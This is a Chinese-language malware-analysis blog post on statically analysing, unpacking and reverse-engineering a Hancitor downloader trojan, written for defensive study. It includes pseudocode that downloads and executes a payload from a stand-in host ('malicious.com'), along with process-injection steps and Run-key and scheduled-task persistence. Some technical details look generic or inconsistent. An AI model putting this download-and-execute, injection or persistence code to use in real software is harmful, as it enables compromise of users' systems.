1. 项目概述与Hancitor木马背景解析
最近在分析一批恶意样本时,又遇到了一个老朋友——Hancitor。这个木马家族在恶意软件分析圈里算是“常客”了,它属于典型的下载器木马,主要攻击目标是Windows系统,通过钓鱼邮件、恶意广告或漏洞利用包进行传播。Hancitor的核心任务很简单:作为攻击链的第一环,下载并执行更危险的恶意载荷,比如勒索软件或银行木马。这次拿到的样本是一个典型的PE可执行文件,初步查看发现它使用了多层混淆和加壳技术,这明显是为了对抗静态分析。对于这类样本,单纯靠静态分析工具很难看清它的真实面目,必须结合动态分析手段,把壳脱掉才能看到核心代码。下面我就把这次完整的分析过程拆解一遍,从静态特征识别到动态脱壳修复,把每个环节的细节和踩过的坑都捋清楚。
2. 静态分析:初步探查与特征提取
2.1 文件基础信息与熵值分析
拿到样本后,第一步永远是先看基础信息。用PEiD或者Exeinfo PE这类工具快速扫一眼,发现它显示为“Microsoft Visual C++ 6.0”编译,但节区名称有点奇怪,除了常见的.text、.data外,还多了几个自定义的节区。文件大小约300KB,不算大,但用Detect It Easy(DIE)查看熵值,.text节的熵值高达7.8(正常程序通常在6.0以下),这强烈暗示了代码被压缩或加密了。高熵值通常是加壳的明显标志,尤其是像UPX、ASPack这类压缩壳,或者更复杂的VMProtect、Themida这类商业壳。
注意:熵值分析是快速判断文件是否被加壳的有效方法。如果.text节的熵值超过7.0,基本可以确定有壳。但要注意,有些编译器优化也可能导致熵值略高,需要结合其他特征综合判断。
2.2 导入表与字符串分析
用IDA Pro或CFF Explorer打开样本,查看导入表。发现导入函数非常少,只有
kernel32.dll
的几个基础函数,比如
LoadLibraryA
、
GetProcAddress
、
VirtualAlloc
、
VirtualProtect
等。这种“ minimalist”的导入表是典型加壳程序的标志——壳代码需要自己动态解析API,所以只保留最必要的函数。字符串列表里也几乎看不到有意义的可读字符串,全是乱码和短哈希值,这说明字符串被加密或混淆了。
在字符串列表里仔细翻找,还是发现了一些蛛丝马迹:有几个看起来像Base64编码的片段(比如
aHR0cDovL
开头),还有类似
/update.php?guid=
的URL片段。这些是Hancitor的典型特征,它通常会从C2服务器下载后续payload。把这些字符串记录下来,后续动态分析时可以用来验证网络行为。
2.3 节区结构与反调试检测
查看节区表,发现除了标准节区外,还有
.corkami
、
.data1
这样的非常规名称。
.corkami
节区的大小和虚拟大小不一致,虚拟大小远大于实际大小,这是典型的“节区空洞”技巧——壳代码会在运行时动态解密数据填充到这些空洞里。用Hex编辑器查看这些节区,内容看起来是随机的,没有明显的PE结构。
在代码入口点附近,能看到一些反调试代码的痕迹:比如调用
IsDebuggerPresent
、
CheckRemoteDebuggerPresent
,还有通过
PEB.BeingDebugged
标志检查。Hancitor常用这些基础反调试手段,不算特别复杂,但足以干扰新手分析。静态分析到这里,已经可以确定这是一个加壳的Hancitor样本,需要动态脱壳才能继续。
3. 动态分析环境搭建与调试器配置
3.1 隔离环境准备
动态分析必须在隔离环境中进行。我通常用VMware Workstation创建一个干净的Windows 10虚拟机,安装必要的分析工具。关键步骤包括:
- 安装VMware Tools时选择“不自动更新”,防止分析过程中意外联网。
- 配置虚拟机的网络为“仅主机模式”,并安装一个虚拟网卡(如VirtualBox的Host-Only Adapter),方便用Wireshark抓包。
- 在虚拟机里安装Process Monitor、Process Explorer、API Monitor、Wireshark等监控工具。
- 准备调试器:x64dbg是首选,它比OllyDbg对现代样本支持更好。同时备好IDA Pro用于静态辅助。
3.2 调试器反反调试配置
Hancitor的反调试手段虽然基础,但如果不处理,调试过程会频繁中断。在x64dbg中需要提前配置:
-
在设置里启用“隐藏调试器”插件,它可以patch掉
IsDebuggerPresent等函数的返回值。 -
修改
PEB.BeingDebugged标志位为0。可以在调试器启动后,在内存窗口中搜索PEB结构(通常地址在fs:[30h]),手动修改对应字节。 -
对于时间戳检查(通过
rdtsc指令或GetTickCount),可以在调试器中设置条件断点,跳过相关代码块。
实操心得:有些壳会检测硬件断点(DR0-DR3寄存器)。如果发现程序在断点处异常退出,可以尝试改用软件断点(INT3)或内存断点。x64dbg的“Trace”功能也能在不设断点的情况下记录执行流程。
3.3 网络监控与C2模拟
Hancitor会尝试连接C2服务器下载payload,但真实C2可能已失效或危险。更好的办法是在本地搭建一个模拟服务器。我用Python的Flask快速写一个HTTP服务器,监听样本中发现的URL路径(如
/update.php
),返回一个可控的payload(比如一个简单的PE文件)。这样既能观察样本的网络行为,又不会触发真实攻击。
在虚拟机里配置hosts文件,将样本中的域名指向本地IP(如
127.0.0.1
)。同时用Wireshark抓包,验证网络请求是否按预期发出。
4. 动态脱壳:从内存转储到修复导入表
4.1 定位OEP与内存转储
动态脱壳的核心是找到原始程序的入口点(OEP),然后从内存中提取解密后的代码。用x64dbg加载样本,F9运行,程序会停在壳的入口点。这里通常是一段解压或解密循环。单步跟踪时注意观察:
-
大量循环操作,尤其是
rep movsb、xor、add等指令,这可能是解密循环。 -
内存访问模式:壳代码会频繁读写
.text节区或其他代码区域。 -
跳转指令:壳代码最后通常会有一个大的
jmp或ret跳转到OEP。
对于这个Hancitor样本,跟踪了大约5000步后,看到一个
jmp eax
指令,eax的值指向一个看起来像正常函数序言(
push ebp; mov ebp, esp
)的地址。这里就是OEP了。记下这个地址(比如
0x401000
)。
接下来用Scylla或x64dbg自带的插件进行内存转储。以Scylla为例:
- 暂停在OEP处,打开Scylla插件。
-
在“OEP”栏填入OEP的RVA(相对虚拟地址),比如
0x1000。 - 点击“IAT Autosearch”自动搜索导入表,如果找不到,可以手动指定IAT的起始和大小。
- 点击“Dump”保存内存镜像,然后“Fix Dump”修复导入表。
4.2 导入表修复的常见问题与解决
修复导入表是脱壳中最容易出错的环节。这个样本的IAT被壳重定向了,直接自动搜索可能找不到正确的函数地址。Scylla显示“无效的IAT”时,需要手动干预:
-
在x64dbg的内存窗口中,搜索API函数名的字符串(如
kernel32.dll、LoadLibraryA),找到IAT可能的位置。 -
观察这些地址是否指向实际的API函数(比如
LoadLibraryA的地址通常在kernel32.dll的范围内)。 - 在Scylla中手动输入IAT的起始地址和大小,然后“Get Imports”。如果看到正确的函数名列表,说明找对了。
有时壳会使用“API哈希”而不是函数名,这时需要自己写脚本还原。Hancitor常用一种简单的哈希算法:遍历DLL导出表,计算每个函数名的哈希,与硬编码值比较。在调试器中可以找到这个哈希值,然后用Python模拟同样的算法,还原出函数名。
4.3 转储文件验证与二次分析
转储并修复后的文件应该能够独立运行(在隔离环境中测试)。用PE工具检查转储文件:
- 节区名称和大小是否恢复正常?
- 导入表是否完整,是否有无效的thunk?
- 用IDA Pro打开,查看代码是否可读,字符串是否解密?
对于这个样本,转储后看到大量可读字符串,包括C2域名(如
update.malicious[.]com
)、互斥体名称(如
Global\HancitorMutex
)、注册表路径(
Software\Microsoft\Windows\CurrentVersion\Run
)。这说明脱壳基本成功。
5. 行为分析与持久化机制拆解
5.1 进程注入与持久化
动态运行脱壳后的样本,用Process Monitor观察它的行为。Hancitor通常会注入到合法进程(如
explorer.exe
、
svchost.exe
)中实现持久化。具体步骤:
-
创建挂起的进程(
CreateProcesswithCREATE_SUSPENDED)。 -
在目标进程中分配内存(
VirtualAllocEx)。 -
写入shellcode或DLL路径(
WriteProcessMemory)。 -
恢复线程执行(
ResumeThread)。
在Process Monitor中过滤样本进程,可以看到它调用了
CreateRemoteThread
,目标进程是
explorer.exe
。进一步用API Monitor查看参数,发现它写入的是一段shellcode,而不是DLL路径。这种“无文件”注入更难检测。
持久化方面,Hancitor喜欢用注册表Run键和计划任务。在注册表中创建
HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Hancitor
,值为样本路径。同时,通过
schtasks
创建计划任务,确保系统重启后能再次运行。
5.2 网络通信与C2协议
用Wireshark抓包,看到样本向
update.malicious[.]com
发送HTTP GET请求,URL中包含一个GUID参数(如
/update.php?guid=xxxx-xxxx-xxxx
)。服务器返回一个加密的payload,样本在内存中解密后执行。
Hancitor的C2通信通常使用简单的XOR或Base64加密。用调试器在
recv
或
InternetReadFile
函数下断点,可以抓到内存中的加密数据。然后跟踪解密函数,通常是一个小循环,用硬编码的key进行XOR。写一个Python脚本模拟解密,就能得到真实的payload。
5.3 文件系统与注册表操作
除了注入和网络通信,Hancitor还会在文件系统中留下痕迹:
-
在
%AppData%\Microsoft\或%Temp%\下创建随机名称的可执行文件。 -
修改
hosts文件,屏蔽安全站点。 - 创建日志文件,记录感染信息。
注册表方面,除了Run键,还可能修改
Winlogon
键值、浏览器代理设置等。用Process Monitor的注册表过滤器,可以全面记录这些操作。
6. 核心代码逆向与功能分析
6.1 解密循环与字符串解密
用IDA Pro分析脱壳后的代码,找到主要的解密函数。Hancitor通常用一个全局变量作为密钥,循环XOR解密字符串表。例如:
void decrypt_strings(char *data, int size, char key) {
for (int i = 0; i < size; i++) {
data[i] ^= key;
key += data[i]; // 密钥动态变化
}
}
这种简单的流加密很容易识别:在代码中搜索
xor
指令,特别是对内存区域的操作。找到解密函数后,可以用IDAPython脚本批量解密字符串,还原出所有隐藏的URL、文件名、互斥体名等。
6.2 C2通信模块分析
C2通信模块通常封装在一个独立函数里,接收服务器返回的数据,解密后执行。代码结构类似:
void c2_communication() {
char *payload = download_from_c2("http://malicious.com/update.php");
decrypt_payload(payload, payload_size, 0x37);
execute_payload(payload);
}
用调试器在
WinHttpOpen
或
socket
调用处下断点,可以跟踪整个通信流程。注意观察它是否使用SSL(
WinHttpOpenRequest
with
WINHTTP_FLAG_SECURE
),如果是,需要导出SSL证书或使用中间人代理解密。
6.3 注入与逃逸技术
Hancitor的注入代码值得仔细研究。它通常用
VirtualAllocEx
+
WriteProcessMemory
+
CreateRemoteThread
三件套,但细节上有变化:
-
使用
NtCreateThreadEx代替CreateRemoteThread,绕过某些安全软件的监控。 -
注入的shellcode会先调用
LoadLibrary加载需要的DLL,再执行核心功能。 -
有时会注入到
rundll32.exe或regsvr32.exe,利用白名单进程绕过检测。
在IDA中定位到注入函数,查看它如何构建shellcode。通常shellcode是位置无关的,用
GetProcAddress
动态获取API地址。
7. 常见问题与排查技巧实录
7.1 脱壳后程序无法运行
这是最常见的问题。可能的原因和解决步骤:
- 导入表修复不完整 :用ImportREC等工具重新修复。确保所有thunk都指向有效的函数地址。
- 重定位表丢失 :如果原始程序有重定位表(.reloc节区),而转储时丢失了,程序在非基址加载时会崩溃。用PE工具查看是否有.reloc节区,必要时从原始文件中复制过来。
- TLS回调函数 :某些程序有TLS(Thread Local Storage)回调,在入口点之前执行。壳可能会利用TLS进行反调试或解密。用PE工具查看TLS目录,并在调试器中跟踪TLS回调。
对于这个Hancitor样本,脱壳后运行报错“无法定位程序输入点”。用Dependency Walker检查,发现
kernel32.dll
的几个函数解析失败。原因是IAT中有些项被壳改成了跳转指令。手动在IDA中修复这些项,指向正确的API地址。
7.2 动态分析时样本检测到调试器
即使配置了反反调试,样本仍可能通过其他方式检测:
-
硬件断点检测
:通过
GetThreadContext检查DR寄存器。应对:避免使用硬件断点,改用内存断点或条件日志。 -
时间差检测
:连续调用
GetTickCount,如果间隔太短,说明可能在单步执行。应对:在调试器中修改GetTickCount的返回值,模拟正常时间流逝。 -
父进程检测
:检查父进程是否为
explorer.exe(正常情况)。如果父进程是调试器,样本可能退出。应对:用CreateProcess启动样本,并设置DEBUG_PROCESS标志,然后分离调试器。
7.3 网络通信解密失败
如果无法解密C2返回的数据,可能是:
- 密钥错误 :解密密钥可能动态生成,而不是硬编码。跟踪解密函数,记录每个循环的密钥变化。
- 加密算法变异 :Hancitor不同版本可能用不同的算法(如RC4、AES)。用IDA的插件(如FindCrypt)识别加密常量。
-
数据压缩
:payload可能先用LZMA或APLIB压缩,再加密。观察内存中是否有压缩头(如
0x5D0000是LZMA标志)。
8. 总结与后续分析建议
这次对Hancitor样本的分析,走完了从静态探查到动态脱壳的全过程。关键点在于耐心跟踪解密循环,找准OEP,并仔细修复导入表。对于这类下载器木马,脱壳后的代码通常不会太复杂,重点应放在它的持久化机制和C2通信上。
后续可以深入的方向:
- YARA规则编写 :基于分析出的字符串、代码模式,写YARA规则,用于批量检测同类样本。
- C2基础设施追踪 :将发现的域名、IP提交给威胁情报平台,追踪攻击者基础设施。
- Payload关联分析 :尝试从模拟服务器下载真实payload,分析后续阶段的功能(可能是勒索软件或信息窃取器)。
实际分析中,每个样本都可能有个性化的反分析技巧,但方法论是通用的:静态找特征,动态看行为,耐心跟代码,工具辅助验证。遇到新变种时,先快速过一遍这些步骤,抓住核心流程,再深入细节。
803

被折叠的 条评论
为什么被折叠?



